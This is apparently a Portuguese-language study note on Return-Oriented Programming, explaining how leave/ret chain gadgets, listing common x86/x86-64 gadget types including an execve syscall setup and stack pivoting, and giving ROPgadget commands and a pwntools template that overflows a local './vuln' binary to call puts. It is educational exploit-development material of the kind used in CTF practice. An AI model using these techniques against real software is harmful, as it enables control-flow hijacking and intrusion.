ROP (Return-Oriented Programming)
ROP é uma técnica de exploração que permite contornar proteções como DEP/NX, onde a stack não é executável e isso impede execução de shellcode.
O princípio do ROP é bem simples: Ao invés de injetarmos código para ser executado no programa, reutilizamos instruções já existentes no binário (chamadas de gadgets) que terminam com ret. Ao encadear esses gadgets (colocar um após o outro), podemos fazer o que quisermos. É como brincar com Lego.
Lógica do ROP
Imagine que temos um objetivo: Queremos chamar a função puts(const char *s) e dar a ela como parâmetro minha_string. Estamos na arquitetura x86-64 e pela convenção de chamada o primeiro argumento vai no registrador RDI.
Para fazer o ROP, precisamos:
- Colocar endereço de
minha_stringno registradorRDI(1° parâmetro) - Chamar
puts()
Antes de continuar, precisamos entender que o ROP ocorre sempre no retorno de uma função. Você se lembra das duas instruções mágicas que ficam no retorno de toda função, leave e ret?
leave- Instrução compacta:MOV RSP, RBP-RSP = RBP. Isso destrói o stack frame da função, descartando todas as variáveis locais. (agora, o topo da stack é oRBPantigo)POP RBP- O valor no topo da stack (RBPantigo) é desempilhado e colocado no registradorRBP. Isso faz o stack frame "voltar para trás". (agora, o topo da stack é oreturn address)
ret- Instrução compacta:POP RIP- O valor no topo da stack agora éRBP+0x8, oreturn addressque contém o ROP. Desempilhamos o endereço do ROP para aRIP, e assim levamos a execução para lá.
Assim, quando colocamos o ROP no return address, isso tudo acontece. A função do ret para o ROP é justamente possibilitar a chain: tira da stack e coloca no RIP, retorna, tira da stack e coloca no RIP, retorna, e assim por diante.
E como vamos fazer para colocar o endereço de minha_string em RDI? Precisamos de um ROP para colocar o parâmetro no RDI, e colocar o endereço da string do próximo bloco.
pop rdi- Valor no topo da stack agora nesse momento é oreturn address + 0x8. Ao dar pop, estamos colocando o que está ali noRDI. A ideia é, com BOF, colocar o endereço deminha_stringali. Isso queima esse bloco da stack, e o próximo valor éreturn address + 0x10.ret- Pega topo da stackreturn address + 0x10e coloca na RIP (pode ser um próximo gadget, mas aqui será a função que queremos chamar)
Para finalizar, só falta chamar a função, agora que já colocamos o parâmetro no registrador. Após tudo isso, teremos a seguinte Stack:
[RBP-0x20] = AAAA... (bytes de padding)
[RBP+0x00] = RBP antigo (8 bytes)
[RBP+0x08] = RET com gadget ← RIP vai aqui primeiro!
[RBP+0x10] = Endereço da string para gadget ← Coletado pelo gadget
[RBP+0x18] = Função alvo ← RIP vai aqui depois!
Semelhantemente:
# Como a stack fica:
Stack: [pop_rdi][parametro][puts_plt][...]
↑ ↑ ↑
| | |
1. POP RDI 2. Parâmetro 3. Chamada
para RDI da função
Gadgets típicos
Pop registers
Usados para controlar valores nos registradores. Permitem controlar os parâmetros que as funções a serem chamadas recebem.
# x86-64 (64-bit)
pop rdi; ret # Coloca valor no RDI (1º argumento)
pop rsi; ret # Coloca valor no RSI (2º argumento)
pop rdx; ret # Coloca valor no RDX (3º argumento)
pop rax; ret # Coloca valor no RAX (syscall number)
# x86 (32-bit)
pop eax; ret # Coloca valor no EAX
pop ebx; ret # 1º argumento
pop ecx; ret # 2º argumento
pop edx; ret # 3º argumento
Exemplo chamando write(1, buf, 100) no pwntools:
payload += p64(pop_rdi) + p64(1) # fd = STDOUT
payload += p64(pop_rsi) + p64(buf) # buffer
payload += p64(pop_rdx) + p64(100) # count
payload += p64(write_addr) # chamar write
Gadgets com múltiplos pop_rsi
Úteis para limpar a stack ou configurar múltiplos registradores.
# Exemplo típico encontrado em libc
pop rdi; pop rsi; pop rdx; ret
# Ou com registradores extras
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
Load/Store (memória)
Para ler ou escrever na memória.
# Escrever na memória
mov [rdi], rsi; ret # *rdi = rsi
mov [rax], rdx; ret # *rax = rdx
# Ler da memória
mov rax, [rbx]; ret # rax = *rbx
mov rdi, [rsp+0x10]; ret # rdi = *(rsp+0x10)
Aritméticos/Lógica
Para ajustar ponteiros.
add rax, rbx; ret # rax += rbx
sub rax, 0x10; ret # rax -= 0x10
xor rax, rax; ret # rax = 0 (limpa registrador)
inc rax; ret # rax++
dec rdi; ret # rdi--
syscall
Para fazer chamadas de sistema diretamente.
# x86-64
syscall; ret
# x86 (32-bit)
int 0x80; ret
# Preparar syscall
mov eax, 0x3b; syscall; ret # execve syscall number
Stack pivoting
Para mover o stack pointer para uma área controlada por nós
# Comuns em ROP avançado
xchg rsp, rax; ret # Troca RSP com RAX
mov rsp, rbx; ret # RSP = RBX
add rsp, 0x100; ret # Ajusta RSP
leave; ret # mov rsp, rbp; pop rbp
Control Flow
Para mudar o fluxo de execução.
jmp rax; ret # Salta para RAX
call rax; ret # Chama função em RAX
test eax, eax; je 0x1234; ret # Condicional (raro mas útil)
Ferramentas úteis
- ROPgadget: Encontra gadgets em binários
# Buscar gadgets específicos
ROPgadget --binary ./programa | grep "pop rdi"
ROPgadget --binary ./programa --only "pop|ret"
ROPgadget --binary ./programa --range 0x400000-0x401000
- pwntools - Possui classe ROP que facilita muito a criação de ROP chains.
from pwn import *
# Configuração básica
context.binary = './vuln' # Binário alvo
context.log_level = 'debug' # Nível de log
context.arch = 'amd64' # Arquitetura (ou 'i386')
# Iniciar processo
p = process('./vuln') # Local
# p = remote('host', porta) # Remoto
# Carregar binário para análise
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # Carregar libc (ajustar caminho)
# Usar ROPgadget (externo) para achar gadgets
# $ ROPgadget --binary ./vuln
# Ou usar o rop do pwntools
rop = ROP(elf)
# Gadgets úteis (Se não encontrar, buscar manualmente)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # Retorna endereço do gadget (cuidado, pode dar indexError se não existir. Faça if pop_rdi: pop_rdi = pop_rdi[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# Fazendo payload
payload = b'A' * padding
payload += p64(pop_rdi)
payload += p64(hello) # puts("Hello World!") (hello = endereço da string)
payload += p64(elf.plt['puts']) # Chama função puts pela tabela PLT que existe no binário
# Método mais simples do pwntools
rop.raw(b'A' * padding) # Padding primeiro
rop.call('puts', [hello]) # Adiciona chamada com função
rop.call('main') # Adiciona retorno
print(rop.dump()) # Visualizar chain
payload = rop.chain()
Fazendo um ataque ROP
Para fazer um ataque rop, fazemos o seguinte:
- Gadgets: Obtemos os endereços dos gadgets que queremos usar
- Buffer Overflow: Sobrescrevemos
return addresscom o endereço de um gadget - ROP Chain: Quando a instrução
retdo gadget é executada, o RIP pula para o bloco posterior aoreturn addressna Stack. Podemos colocar outro gadget lá, e assim por diante, inclusive podendo terminar a ROP Chain chamando uma função.